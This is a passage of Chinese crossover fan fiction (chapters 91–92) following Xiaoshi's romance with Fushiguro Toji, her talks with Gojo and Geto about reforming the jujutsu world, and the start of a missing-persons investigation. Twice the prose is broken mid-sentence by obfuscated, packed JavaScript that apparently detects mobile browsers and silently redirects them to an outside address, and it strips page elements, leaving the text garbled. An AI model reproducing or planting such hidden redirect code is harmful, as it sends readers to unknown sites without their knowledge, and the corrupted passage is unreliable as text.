他想起了在另一个世界,在京都的时候,那晚小莳主动来找他,她亲吻他,在昏暗的居室内,她的眼睛里也有湛蓝的水色,盈盈闪光。她问他:“你有多喜欢我?” 他那时没回答,他既不清楚,也不认为有思考的必要。时间自会证明一切。 伏黑甚尔的心脏仍然在胸腔内缓缓律动,没有病变,生命力也一切正常,可他感受到一种跨越世界壁垒,穿越时间而来的冰冷枷锁,纂得他喘不过气来。 也许那个时候的小莳也在期待一个被哄骗也无妨的答案,他后知后觉想到。但最后她什么也没得到。 好吧,好吧,她的不信任与怀疑都有道理。“那我不问答案了,今晚我能留下吗?” “呃,你……” 伏黑甚尔的样子像一只渴望被收留的小动物,他弓着背,垂着头。不管他在刚刚那段时间里想到了什么,他现在最终决定灭掉自己的所有气焰,祈求一个位置。 她让他留下了。 91. 第 91 章 越接近回并盛的日子,小莳就愈发感到一种暑假将近即将开学的紧迫感。她每晚入睡前都会戴上眼罩静思冥想,这在伏黑甚尔看来是一种玄学迷信行为,她反驳:“所以你从来慢半拍。” 他已经学会不在小莳面前逞口舌之快,除了接吻。转而问:“你在想什么?” 小莳在想一个关于棋盘的隐喻。围棋中,棋盘横竖各十九道线,形成三百六十一个交叉点。最正中的一点被称为天元,寓意高深。“你说这位的名字是自己想的还是别人给起的?居然是叫万物起源,还活了千年多,不管这算不算【名】的僭越都是坏兆头。太过长生对他人来说不见得是好事。” 伏黑甚尔说他不擅长记男人的名字。小莳认为他在故作叛逆。天元结界在咒术界简直就像是福泽谕吉所在的钞票一样…… 他问:“想这些做什么?” 她摇摇头,只说觉得道阻且长。过一会,她又说,如果以棋喻局势,就像神神叨叨老成的人经常做的那样,即便身处最重要的点,只要做为棋子就有被吃掉的可能。所以最聪明的做法是离把人当棋子的政治场远点,多把自己当作一个具有完整尊严的人类来怜惜。这样就算大环境不好,也能实现自给自足,不用像一些掏空家底创业的人最后连饭都吃不上,把自己赔上去。 伏黑甚尔参与度很低,他说哦。 小莳踹了他一脚。差点忘了,这个人就是嘴上说着要贯彻独善其身,最后却滑铁卢美美离开这个世界。 当然,他活该。 她认识很多很有想法的人,要命的是执行力也都一个不落。其中想要通过暴力手段创造新世界的都完蛋了,继承家业的兄长们都在各自的道路上努力奋斗,但他们一个想打篮球,一个想退休,事业都不是追求的第一顺位,承担主要为了责任。小莳不觉得这会给他们带来多少快乐。 结果现在有个和她关系程度不低的人说自己想收拾一个延续了千年早就变味的烂摊子。小莳之前明明只是建议他杀鸡儆猴,让高层收敛点,未料五条悟想做的更多。作为一个好人他也有点好过头了。 在环海岸线半圈后,小莳再次回到最开始的地方,彭格列总部。在一切结束后,她带伏黑甚尔沿着蓝波带她游览的顺序逛了一圈,因为伏黑甚尔问她:“不顺便带我介绍一下你家附近的风景吗?” 正宗的本地人鲜少去著名景点,但小莳刚去过,记得熟练。她几乎是把蓝波的介绍词复刻。 他讲:“你是不是前几天刚和别的男人来过这里。” 她回:“是,你居然学会上网了。乖甚尔。” “你把我当狗了?” 她吃惊的不像演的:“怎么会,亲爱的,你的问题令我惊讶。” 伏黑甚尔很不满,小莳带他去了一家自己十几岁的时候经常去吃饭的海鲜店。 她承诺:“没带谁来过,除了让奈亚偷师。” “我也可以学。” “一是你做的不如奈亚好吃,二是……不知道为何奈亚也很讨厌你。综上,不建议去做不必要的事情捏。” 伏黑甚尔冷脸吃海鲜,他也觉得好吃,于是一直吃一直吃。小莳盯着他侧脸,她帮他抹去嘴边的蛋黄酱和碎屑,突然开口:“你有考虑过打个耳洞吗?耳朵挺好看,戴点饰品应该也不差。” “你帮我买耳钉?” 小莳相当谨慎:“不买。” 他转过脸来,舌尖舔了舔嘴角:“那你喜欢?我可以戴给你看。” 小莳后悔起了这个话头,低头吃海鲜不理他。 过了一天,她看见伏黑甚尔的左耳上有了个结了痂血块,在那上面有一颗黑色的几何三角形耳钉。她盯着他发红的耳朵出神。 他偏过头去,向她展示:“在书桌上拿了一排订书钉。抽屉里的现金正好购买。” “你还真擅长在别人家自便,是不是?小正已经两周没回家,他应该不会注意到现金丢失。”她走近看,抠去了小血点,那又渗出新的血,“订书钉……你用订书钉可以划破别人的动脉吗?” 一看到血和伤口就容易联想到业务问题,眼前的人又是物理意义上能够化不可能为可能的存在,她于是生出了这类的疑惑。 原本暧昧的氛围瞬息消散。 “没试过。这个6欧,耳洞免费,你可以还给入江正一。” “结果最后掏钱的还是我么,我还没送过这么落魄的礼物。”她伸手摘下伏黑甚尔的耳钉,“太非主流了。我改天带你去商场。” “摘下很快就会愈合,怪我身体太好。”伏黑甚尔说完这话后看了眼小莳,见她没反应才提出:“我们现在也没事。”故作姿态了一半,他希望被邀请。 还真是善于巩固阵地并得寸进尺的类型。小莳被这番择日不如撞日的宣言堵住,有点想把这个歪歪扭扭的耳钉捋顺给他塞回去。 “如果不好好处理可能会增生。”他开始没话找话。 “……”拙劣的增加砝码,她想。 她带他去老城商场,挑选了一对切面光滑的铆钉形状耳钉,它还有配套的三颗耳骨夹。 伏黑甚尔盯着玻璃柜中的样品:“我没看出它和6欧有什么差别,除了价格。” 小莳言简意赅,打断了他的得了便宜还卖乖:“那你在拿到以后可以把它扔了。现在,接过去,然后陪我买一件衣服。” 他接过店员递过来的纸巾,忽视了小莳的手,擦了擦耳垂:“你帮我戴。” 小莳直接丢给他,在离开的时候又被拽住了手腕,她愤怒回头。男人嘴边勾起一个无害的微笑。 “我会珍惜它的,所以……帮帮我。”他还说谢谢。 见鬼,这个人有点坏坏的,偏偏又会装得老实。 当晚,在海风吹拂的小别墅里,小莳坐在伏黑甚尔怀里看飞机可能存在的航班延误信息,傍晚开始红色的霞光就有大片的云遮盖。他的左耳是小莳亲手戳进去的黑色铆钉,在那上三指的位置是与之呼应的耳骨夹,伏黑甚尔对这一切都很满意,但他还想让对方也戴上另一半。 他亲吻她的耳垂,提议。 “然后用不要钱的订书钉?不要。身体发肤受之父母,太不孝了。征十郎如果知道一定会痛心的。”说完以后被不礼貌的家伙上牙下牙一磕咬到了肉。她嘶了一声,锤他的腿:“我是在和小狗恋爱吗?” “我们在恋爱,你说的。”伏黑甚尔不管这是不是分心回复的口误,他先一步挽过小莳的脖子,歪过头和她接吻,不给她纠正说辞的机会。 等到她气喘吁吁偏开脸,他才又重复:“我们在恋爱。” “你适合去景区支小摊,一锤子买卖大师。”小莳抹嘴唇,“不要得寸进尺。” 伏黑甚尔又将她往自己怀里按,下巴则搁在她肩膀上,没使力。此刻,他们亲密无间,吐息交缠:“今天是我们在这的最后一天,明天你就回去见他了。” “你讲话好像我们在偷情。”小莳发现了他有将事情变味的能力,但是皱眉一想,好像还真有点像。 “我们不是吗?背着你男朋友--今晚,要不要……” 她听出了他的意思,迅速拒绝:“不不不,不要。你最好想都不要想。”肢体也呈现出相应的拒绝姿态,她弓着身子想离开他。 “为什么?为什么和我不行?” 小莳逃远了,在玻璃窗旁转身回头,手搁在白色刷漆的窗台:“或许在某一天小惠问我们进展如何的时候,我一不小心承诺了他一些事情。” 风吹动她的额发。 伏黑甚尔一字一顿:“比如说?” “……你不想知道的。”她附赠一个让他意会的挑眉。 “或许我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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又一阵沉默后,她听见:“我不会走,我爱你,但你下次别这样对我了。” 她说:“好的。” 在他的双唇颤抖着贴上来的时候,她回应了。 夜里,小莳轻轻含住伏黑甚尔另一侧的耳垂,有些过意不去,经过复盘,她发现自己说了很多不该说的话,完全不符合自己聪敏机智的人设。 她提议:“我陪你打个耳洞?” 本以为他会一脸无所谓地答应,但伏黑甚尔在这时却拒绝:“如果是补偿就免了。我宁愿你一直记得。”反正只要她觉得不亏欠,很快又会忘掉了吧,他这么想着,将怀里温软身躯抱紧。 “真不要?” “不。” “好吧。”看他回答的坚决简短,小莳吃瘪,只好这么说。 过了一会她尝试给自己找场子:“你知道就算我打耳洞我也不会因此对你疏忽的,对吧?” 他过了两秒才回答:“不,你会。” “……” 伏黑甚尔翻了个身压到小莳身上:“我在尝试改变,我想对你毫无保留。所以,我应该告诉你,你那样让我难受,你伤到我了。我爱你,也有自尊,所以我不希望它很快过去,你也不可以忘了它。” 小莳因为他的话双目圆睁,在对方幽深的绿色眼瞳中,她再次有种想落荒而逃的欲望,但躲不开,伏黑甚尔没有任何逼迫的意味,可若让用语言描述此时的局面,她会选将军。王手也一样。 无处可逃。 她没说话,他也没给机会。在小莳微张的嘴唇上印了一下,伏黑甚尔转身,卷着被子,背对她睡下了,留她一个人望着天花板出神。 十三个小时之后,飞机果然延误,他们直到西西里岛的太阳落下才登上航班。她在机场里吃得饱饱的,已经不必再用飞机晚餐。很遗憾这世界上又少了一个让飞机大厨骂骂咧咧的订单。 92. 第 92 章 小莳只在醒来后看了眼时间,拿起小桌板上临时买的平板给伏黑惠哒哒哒发消息,顺便告诉他头等舱WiFi免费这个喜讯。 虽然在飞机上什么都没做但可真是累坏了,她打算直接回并盛,让男友不用来接她。等回家通过再睡一觉的方式倒了时差后刚好可以见面。伏黑惠在约一小时后回复好,并解释了方才在帐中出任务。 他询问她是否被照顾得很好。 小莳:我们才又分开七天……我保证你见到我的时候看不出和分别时得任何差别。 伏黑惠:他会和你住一起吗? 小莳:不。门外顾问最近和奈奈一直住一起,不想回家;风纪财团没有我的房间,我决定住守护者家。就是曾经在并盛上过学的狱寺隼人。去意大利以后这房屋就空置了,只在偶尔回并盛时启用。现在我能够在此居住一段时间。 小莳:说是居住权,实际就是“请把它当作自己家一样自便”,我读懂别人画外音的能力也是一流的。甚尔由他自己安排,我不管。听说他把你卖了五个亿,生计不成问题。 伏黑惠只回了一段省略号。 说到这里还有一串小插曲,关于前几天意外所得的黄金,伏黑甚尔是个俗人,相当喜欢。虽然他没特意说明,但是每天与数千克金块共眠,就在枕边。他真的超爱。 然而一个非法入境和一个身份清白寻常且准备出国的女人很难把这些带离机场,且到东京下机又是一通检查。他被迫放弃了大部分在意大利的资产,只携带一块攥在手里陪他免费回国。 小莳在头等舱,他……自行解决。当初选择了非常规入境,现在想悄无声息的走也只能经受一路颠沛。 候机时,这个男人散发出一种与铜臭味毫无关系的忧郁感,很难不觉得他像油画里冰冷又炙热的主人公,像一尊值得停步凝视的沉思者雕像。如果小莳不清楚前情提要的话,她确实会被外表误解。这何尝不是一种以貌取人。 【“不是说到并盛都会给你折现吗?” “我觉得我已经对它们有了感情。” “那你要不要那四千万?” 忧郁的男人眼里泛绿光,在下撇的嘴唇复原前,他就说:“要。” 然后他们才分别。】 作为入境游客,小莳的程序要比本国公民更复杂,等她离开机场,她一点也没要联系失散十几小时的伏黑甚尔的意思,直接坐上了出租车。 他绝对能把自己安顿好。 在那之后她清净了一两日。伏黑惠因为距离原因,只会在早上十点后到达她的住所,然后又下午四点前返回,并盛又一向安逸。直到五条悟来了,在他憋足表情要质问小莳是不是忘了约定前,她慢悠悠说:“好久不见,我觉得你可以趁盛夏咒灵爆发前和高层几位重要人士和平友好开诚布公地聊一聊。” 五条悟没组织好的气焰消了大半,剩下一小半的存在主要是因为小莳过几秒钟自鸣得意地夸耀:“你眼前的妙龄少女可是工龄已经长达5年(不算工龄间断)(按照年减年加一计算)。” 已经是职场上一条滑得像沾了鼻涕的鱼了。 她没写方案,不懂行政管理,没有咒术界高层关系人,出门在外只会一点手艺,状态警惕犹如被上门借钱造飞船的亲戚请求的小康人员,恨不能凭空给自己捏造一笔三十年债务。 五条悟半采纳了她的建议,从她嘴里说出的话,目标对象竟然也是她自己。他开诚布公说他想革新这个腐朽的咒术界。 小莳应激了,劝他保守行事切莫冲动。很明显他的前十年到现在没有一点想要从上而下整治的迹象,教书育人也好,改善大环境也好,对于一个御三家家主来说都是相当温和潜移默化的手段。从这里便可以看出五条悟纵使表征顽劣,内心却和阿纲一样愿意享受一朝和平,不喜欢撕破脸。淳朴的像个刻板印象里的乡下人,但徒善不足以为政,小莳无论对他的决心还是对他的手段都信不过。 纵使他已具备资质,这事也不仅和他一人相关,咒术界关系到从千年前到如今,乃至若干年后的数个世代的命运,非一人之力能变移,哪怕他是最强也不行,更何况…… 五条悟对小莳说出了他任务闲暇时几经思考的最终结论:“我会在这个月去见天元大人。” “你还和谁说过这事,天元知道吗?” 他安抚一样地咧嘴一笑:“没有,你是第一个知道的。” 那就还好,事情还有转圜的余地:“我觉得你还是只和高层协商比较好。现下的局面对你而言已经足够施展才能了不是吗?”在这件事情上,小莳没想到自己反而成了观念保守的那一个,劝他不要想一出是一出。 他说不是的,他以前不介意田园牧歌式的和平,他知道在那和平的面纱之下有其不堪的内里,但周围的同伴都待他宽容,也是很好很好的人,所以不后悔曾做出的让步,也不觉得辛苦。 可和平不是靠忍让得来,高层和他们迂腐的智慧--如果这还能称得上智慧,多关注自己的利益,而吝啬于公益福祉。即使他愿意一步一步慢慢来,已经发生而他不愿意多想的事情和本该发生的事情都像迫近心脏的刀尖,不是他蒙蔽自我就能令其消失的。 小莳端坐在狱寺隼人曾在上苦思冥想的木质普通椅子上,她的手一只安放于膝上,另一只揉眉心,她没办法昧着良心劝他眼下情况并不糟糕。因为实际上咒术界就是一个巨大的草台班子,他们共同的梦境也阐释了一个相当脆弱的世界。 于是她做出承诺:“我可以帮你处理一些人,做一些危险刺激的工作,我会保守你的秘密,并对你发表一些看法,但我不提供公开场合的支持,不代表其他势力,不在你和你背后的组织里任职,不在任何文件上签字。如果你不幸身陨我就当作不认识你,没有报仇,没有托付,也完全不存在要继续你未竟的事业。你还有什么想说的吗?” “好冷酷,至少要帮我探明案件真相吧!” 她摇头:“那我和咒术界就没什么关系了,带着我一身本领报效并盛去。意大利咒灵真的很少,和公厕一样,我推荐有需要的咒术师和平民都去移民。”说真的,有考虑过计划生育吗?人多地少的很容易闹矛盾,一闹矛盾业力就催生咒灵,或者干脆强制把一定规模的企业全都赶到乡下去,物理分流。 “小惠呢?你不是他女朋友吗?” “人也没把我往局里硬拉,我就不凑热闹了。”小莳说得颇为真诚:“我觉得他也没什么领袖意识,他的思想、风格,都在往辅助和基层靠。我猜想出风头的人很多,惠惠不屑于与他们争锋。所以我们才是一对嘛,人类太蠢了。何必沾边。” 他们对伏黑惠的看法惊人的一致。五条悟谈判失败……也不算完全失败,至少获得一个暗中助力,可能会摸鱼,但不会背叛。他开始向助力寻求咨询服务:“你觉得去见天元大人怎么样?” 在办事风格上小莳偏务实:“首先,你得见到他。十几年前你没把人弄生气吧?” “不晓得,没见到,任务失败了。” 她开始乱讲:“那人家肯定觉得你不靠谱了,听说杰还在薨星宫在他眼皮子底下劝任务目标逃走,那里可到处都是摄像头,他老人家肯定看的清清楚楚。到时候一调监控,发现你们存在主观意识上的懈怠情绪……噫。都说高层都是不靠谱的老东西,那活了一千年岂不是promax级别的?”最后一句为纯偏见输出。 五条悟和小莳说了更多关于六眼和星浆体之间不为人知的隐秘,二者总相伴而生,而天元每500年的同化,不知是否互为因果,但在时间段内必然会有六眼出生。 “那你们五条家在8090年前后岂不是结婚生育率暴增?就跟备孕的人算排卵期似的。”前面忘了,后面忘了,运气好生出个六眼大宝,全家光荣。 “我的诞生被你说的好丢人。而且我和他们不熟,血缘父母。” “没事,长老们一定会善待他们,这是在你睁眼以后就定好的事情。抱着功利的想法生小孩的父母如同……简单来说九成双亲都是这样想的,你不用为此不好意思。” “……” “怎么样,我是不是和你以前见过的那些女人都不一样,给你一种很特别的感觉?” 五条悟离开的时候没关门。 小莳对佛教知识了解甚少,直到几个月前才恶补了一些相关知识。以前是因为骄傲,不想和六道骸的幻术太相近,她入行晚,免得受他影响,又被说拾人牙慧。现在她知道,羂索之名大概是源自不空羂索观音菩萨,其慈悲仁爱,以法器羂索搭救众生,助他们度过苦海无边。 虽然没了解过他和咒灵们到底在谋划什么,但搞不好这些家伙真以为自己在做什么惊天动地的义举。说不定这个羂索以为自己在以一种很新的方式普渡众生,死灭洄游,听起来就超级邪恶。可惜现在他的一切都不复存在,诅咒同盟也烂完了。没有了明面上敌人的咒术师们,能主动团结起来戮力同心的概率微乎其微,服从度与配合力想都不要想。在茫茫海上,五条悟要将这艘载满客的愚人船驶向何方的彼岸呢? 好吧,他真的很爱这个世界,愿意为了梦中的亡羊补牢而献上不可知的无限未来,那就没办法了。即使在与他理想乡相去甚远的当下,即使在一片不属于他的不毛之地中,只要他怀揣理想并为之拼搏,那这里也算有他的理想和他的故乡。 怪不得五条悟不觉得辛苦。小莳觉得他的觉悟是世界级的,她在意识到这点后在惊讶和敬佩中吃下了一整盘炸鸡,那会已经是晚上八点。她有些后知后觉。 那之后几天,她在见到夏油杰的时候,他们的聊天主题都变成了五条悟。夏油杰,风纪财团中层管理,却被集团总裁云雀恭弥和云雀恭弥最信赖的秘书共同重用,现在他负责最要紧的事务则是并盛地铁的建设。 东京有地铁,这是大城市的标志,而并盛日新月异,为了谋求发展和便民,建设一条贯通南北的公共交通路线无疑是重要的。而且时代变了,现在居民不开心可真是会闹咒灵的,并盛选择了一条更艰难但能带来更多好处的道路。 只能说很庆幸这里收经济危机影响甚小,也不是自然灾害频发的板块活跃和海边,想让他们安居乐业难度虽高,但并非不可达成。 话是这么说……“你们当初建那么多地下基地,就没考虑过今天吗?”由于地铁规划涉及到地质和机构的地图,保密性质非同一般,难度也大,现在工程师都没找齐。 小莳撅嘴:“你问恭弥,都是他攀比,彭格列的基地完全是地下,结果风纪这边明明大楼和屋宅都有,还要一切比照我们的规模。你如果不信可以比对一下空置的房间数量,看看谁资源规划利用率低。”并盛平均每三个黑西装,就有一个在彭格列就职。 夏油杰是个高情商,从来不做让领导下不来台的事情,转而谈起五条悟,说起挚友的跨行业管理。他与小莳不同,对五条悟的能力和效用相当看好,认为凭借他的九年教龄和最强身份,一切的困难就会迎刃而解。 小莳鉴定为,不擅长人事管理的小哥哥一枚。 在她怀疑的眼神下,夏油杰一脸黑线提醒:“你是不是忘记了他可以在家族内一呼百应,如果说总监部是御三家的竞技场,那五条家在其中也有一席之地,还是相当强劲的一席。在悟成为最强后的十年,你该相信他们的趋利避害性。” “……差点忘了你也是有十年教祖经验的,糟糕,感觉被比下去了。”小莳露出一副恍然大悟的赞赏模样,表情让夏油杰觉得自己被严重低估,“总之我有答应帮他处理些技术事务,不过刚启动的百业待兴时应当没我什么事,他有拜托你什么吗?” 夏油杰的表情一点变化也没有,回答也无停顿:“没有。” “嗯那就好,等等,嗯?”小莳本来都打算从他办公室出去了,听这回答180°转身,扶门框:“不应该啊,悟什么都会和你说的。难道是因为你有前科,所以没被邀请?按理说你从业十年归来也只有最初的叛逃是牵连无辜的。我理解你,我母亲走得早,但我确实和父亲关系不好,虽然还没到要把人干掉的地步。但是俗话讲得好,未经他人苦,莫劝他人善嘛。” “……我父母和我也只是关系不好。”提及久远的往事,夏油杰已经能够平静看待。可他的良心,如果话有的话,总会提醒起此事。 “哦哦哦,那确实是你不对,”小莳耸肩,她并不在意,“人这一生不可避免要伤害他人的,只不过你比较多,也没考虑到公序良俗。我不会因为这种事就把你踢出同伴圈子,也没对你有意见,但他说不定会因此改变对你的判断,别难过,就当是活下来的人必须要承担的代价吧。没想到过了几个月好日子,你们又回到了几年前都不敢打听彼此消息的时候。” 像五条悟这样原则坚定的人,在立场上也得泾渭分明以示态度,残害平民,谋杀双亲,叠加起来确实是一生的真案底。夏油杰虽能直视过往,却还是会为此事难过。不过他没缺乏担当到期盼改变过去,因为那是畏惧承担后果者的幻想,现实中的时光机要到2018年才能抵达咒术界,还是已经被严格管控的重点监控产品,不具备可行性。 他不愿深想挚友的态度,转移了话题:“你的正义感怎么在这时候失效了?我以为你们像到价值观都相似。” “我和你父母不熟,不认识。”只有一部分社会责任感的小莳认真对他说:“除非他们有并盛户籍,不然我真不在乎。你不要乱迷信先天灵魂学说之类的,同卵双胞胎都能长成不同的样子呢。更何况我和他生日年龄长相都不同,再说一次别找代餐。” 夏油杰合上文件袋:“……只是在像的地方比较像。” 她离开的时候也没关门,大摇大摆走了。 当晚,她吃夜宵的时候,回想起下午发生的事情。夏油杰作为两件事情的当事人,表现得也太置身事外了?这样的想法在脑中一闪而过。他可能回想起这些事情的时候,心里并不快活,小莳想。 小莳忘记了虽然自己没有本职业务上的工作,但她还有祓除咒灵的技能点。 五条悟撂挑子去搞政务工作了。 某天,伊地知洁高一脸忐忑地候在传说中泽田小姐暂住地处所门口,他的身后是高专配备的轿车。对咒术界现状十分有十一分不满的五条悟只留下一句“去并盛xx街xx号找小莳,她会处理任务的。就像你以前辅助我一样向她汇报。”和一张一级咒术师的认证卡,上面的照片是蓝底背景和微笑的白发少女, 没有任何合规手续,小莳成了一名注册咒术师。在她本人知道此事时,已经有一桩乡村灵异失踪事件等待她去考察调研了。 此时,距离清晨过去了几个钟头。她被隔壁装修嘟嘟兹兹的声音吵醒,打开窗户发现这里刚好看不见对方家里的情况,只能疲惫地下床穿着棉拖鞋踢踢踏踏走下楼梯,开门的院子里是晾衣架和已经被妥善处理的草坪,外面是穿着黑西装的伊地知洁高。 小莳关上门。 小莳开门,外面还是伊地知洁高和他不吉利的黑车。她一身居家服走出去,得知了有一桩没有等级评定的调查任务等待她完成,在五条悟的争取下,她能和伏黑惠共同任务。 小莳面无表情听完汗流浃背的辅助监督虚弱的解说,问:“他还说什么?” “他说--说您可以把这当成一次郊游和约会,以及,那个,就是,伏黑同学就拜托你了。” 翻译一下,她成业务员兼陪练了。还多了一张身份证明,现在她再也不是咒术界编外人员,有了个中流砥柱的身份。 小莳有想过打电话把他骂一顿,哪怕是被转到语音信箱也能在事后被他听见,她也想过直接溜到其他什么地方去,比如说寻找一下好几天都没出现的伏黑甚尔。 最后她决定先去把隔壁装修噪音的事情解决,但在看到户主的一瞬间她就又改变了主意。按理说一张人事履历,有一半都是犯罪记录证明,以及现在连身份证都没有的伏黑甚尔会被主流社会排斥,结果对方在装修新房,地址就在狱寺隼人的小别墅隔壁。伏黑甚尔成了她邻居,哪怕她搬回泽田家,他们的距离仍然不到10分钟脚程。 他说嗨,而她转身就问辅助监督任务情况。静悄悄了这么些天,原来是落户了。小莳明白了五条悟因为那个梦境的痛苦,并盛治安漏洞还是太多,在允许买房之前他们真的有好好审查这个来路不明的男人吗? 现在看来完全没有,可不能让它成为第二个米花之类的想法充斥小莳的脑袋:“而你,幸运的伊地知先生。十分钟以后楼下见。希望我任务回来的时候你的房子已经装修完了,邻居。”要是扰民她就去高专再住几天,只是改装老房子,一般用不了多久。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413160|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怎么办呢,凑合住吧,还能把人赶走咋地。 糟糕,这样一想还要和惠惠说明不知道为什么有个可疑人士住到了她的旁边,他绝对会不安。小莳脑子乱七八糟地上楼,下楼的时候已经一脸疲惫。 虽然什么都没做但是真是辛苦她了。 凌晨四点就起床,写了会报告就出发,直到早上九点已经马不停蹄工作了五个小时的伊地知洁高觉得自己正是一天里最精神的时候,要把握状态最好的时机,详细和泽田小姐说明情况,并得到她在未来一段时间里的配合。 没想到在第一步就遭到了质疑:“什么叫未来一周?是我想的那个一周七天的一周吗?”咒术师可是没有双休和节假日的,只有旺季和爆季。 他不确定了:“……应,应该吧。” 小莳起了杀心。“放心,这里是高速,我不会对你怎样。” 那下了高速呢! 他一惊一乍的样子挺能逗乐,小莳歪歪扭扭斜在车后座上,睡着了。苦命的女孩在两小时后自然醒,见到了男友,他背着户外包,穿高专校服,从左边探进了车。 他给小莳带了一袋曲奇。 “正好,我还没吃早餐。”她咔嚓咔嚓啃着饼干,一边和伏黑惠听更多关于此次调查的信息。在一个听都没听说过的荒郊野外小村落,逐渐有旅客失踪。 “所以他们去那里做什么呢?” “会有一些喜欢追求自然原始的背包客。” 小莳辣评:“浪费公共资源。” “……”辅助监督不敢说话了。直到伏黑惠对他说:“没事,请继续说明。”他通过镜子看见低头没给反应,在用两只手指和装食物的小铁罐博弈的泽田小姐,发现她只是刚才把罐子拧太紧。没有反应才是最安全的,他接着说:“一般人等失踪不在咒术师调查范围,然而之后非本地的调查巡警也接着失踪,再之后派了【窗】。” 结果连他也失去了消息。 不确定,像给邪神下饺子。 “嗯……本地警察怎么说呢?”她稍微有了兴趣,虽然看了很多克系书籍,但是作为调查员参与超自然事件的揭秘还是头一遭,她的感官被调动,注意力也倒了任务本身。 “当地并没有编制的警卫部门,只有一个能连通到周边城镇公安的警用频道,在那的是一个已经退职退休的老警察,也就在四个月前,去世了。” 哦哦哦,小莳听得耳朵都竖起来了。死亡本身不令人兴奋,但她对背后隐秘的不可知兴趣很深。感觉年轻了一百岁,她是说,这好像虚荒诞幻的惊奇故事的经典开头。“有遗言和遗物吗?” 伏黑惠打消了她听故事一样的投入:“有也不可能传递出来吧,你太不礼貌了,小莳。”肉眼可见的兴趣彰显冒昧。数月来的疏忽引发了共计已上报的6人失踪,其中窗的最后一次联络是在上周,常年人手不足导致的消息中转堆积,现在恐怕凶多吉少。 咒力少到不足以成为咒术师的伊地知洁高本应习以为常,但兔死狐悲,遇到这种事总不免联系自身的命运。他与这个窗不过是运气之别,其余并无差异。他肯定了伏黑惠的说法。确实什么也没流出,只有隐隐约约会失踪的传闻。 小莳注意到正在开车的辅助监督突如其来的情绪波动,他应该在为差不多职级的同伴身死而悲伤胆寒,不可看破的危险,不能窥探的恐惧,不知何时会戛然而止的生命,反而是他那边的恐惧情绪更加贴近书中所写。她觉得这个辅助监督不愧是五条悟选择的人,好人果然都会和好人玩到一起去。他还问要不要他和他们一起去调查。 明明很害怕的样子。 她出言拒绝:“不了,伊地知先生留着看车,感谢你的勇敢,但这里就交给小惠就行了。” 伊地知很惊讶:“欸?泽田小姐你呢?” 小莳比他更惊讶:“你跟着悟做辅助监督多久了?”他怎么会问这种问题。 “有一段时间了。我是说,虽然没有说明一直辅助五条先生,但自从我毕业后接近一半的任务都是作为五条先生的记录员。”还有司机,还有报告代写,这就不用额外说明了。 辅助监督们居然也是从高专毕业的,小莳学到了新知识,然后点点头:“也就是说--其实你比悟年纪大不了多少咯?”毕业就认识,意思是那时候五条悟至少一年级。 “那个,他是我前辈。” “……哦。”真假,他看上去可以假装大学生,可伊地知给人感觉孩子都上初中了,家里急着用钱,所以老板怎么压榨都不会吭声的,小莳费了些力气才将注意力转回辅助监督的问题,她说:“既然你认识他那么久,你应该知道他不是会乱来的人。我是说,既然他说能够带惠一起,至少说明他认为惠有能够独立应付这次调查的能力,只是可能有违条例。” “啊,是这样的吗?”仔细一想果然觉得五条先生相当会乱来,泽田小姐的观点从开始就偏差。 “……”老师应该不会想这么多,但是小莳相信他。伏黑惠有些高兴。 小莳发现自己的话没一个人相信:“这不是显而易见吗?!从某种意义上说他是我见过的最爱护学生的老师。在我老家的传统里,做徒弟的十四岁就要开始残酷的生死决斗,直到活下来成为能够独当一面的好手才算出师。”可五条悟把事情能扛全扛了,只是看起来比较少根筋。 像个笨蛋。 她怀疑对方对虎杖的偏袒多源于那次少年院事故,他绝对把虎杖的死看成是自己的错。五条悟是个不会有意让学生涉险的保护者,而他显然还没把伏黑惠当成能独当一面的大人看待,因此放他过来肯定不是为了给她消遣,明显有锻炼之意。 结果……和他交流更多的两位男士一个接着一个露出“我知道你乱讲话,但是不反驳你”的脸。小莳摇摇头,独自掌握真相的人总是孤独,这是智慧的代价。 “真是的,你们也太低估他的好人性格了,还是说这也是一种‘狼来了’?看来是他废话太多,你们不知道怎么抓重点。”不说了,她转而问起更多小村子的信息,规模,人口,周边环境,伊地知根据得到的情报一一回复。 下车后,还需跟着导航再走两公里树林小径才能抵达,小莳扒拉在男友的肩膀上看手机,皱眉:“这种地方还有人赶着去,我只能说……连上天都在劝他们别送。” 回身再次拒绝了辅助监督想跟上的请求:“不了,伊地知先生,我和惠可以是逃学探险的情侣,离家出走的叛逆未成年,但加上你一个成年人很难找理由的。当然,谢谢您的勇气,能在无聊的时候看见一些人性的光辉总是很美妙的事情。我猜他也被你十年如一日的勤奋打动了,所以才总是支使你。” 伊地知洁高半鞠躬的身体还没起来,头就先抬,这动作有些滑稽:“嗯?”他没反应过来。 “一半任务都是和他绑定,你莫非以为这是什么巧合?只有少女漫里会这么画,您年纪已经不合适了。日复一日的作业,工作接着工作不歇,精神很容易憔悴的。我想,他一定是看到你能在一眼看不到头的未来中仍然奋力向前跑,所以格外信赖你,觉得你是可以依仗的同伴吧?”小莳歪了歪头,“我倒觉得您除了辅助监督之外还可以做更多哦。记忆力不差,表达能力也很好,重要的是不怕苦不怕累。有考虑过培养一下综合管理能力吗?” 泽田纲吉身边有入江正一;迪诺身边有加百涅罗;云雀恭弥身边有个草璧哲矢,伊地知洁高做助理和秘书刚刚好。 他看起来好像是因为受到了突如其来的认可,都快哭了,嘴里还说着:“对不起,性别也不合适。” 小莳拉着男友的手走向足迹踏出一条土路的树林,走了大约有一两分钟,身前的景色和身后的路融为一体,无甚差异,这时候她才想起来,说:“啊,说不定也只是因为伊地知先生看起来就很好欺负,其实我刚刚想在他面前将一个豆沙笑话。你知道杰十几年前就是因为在村里--” 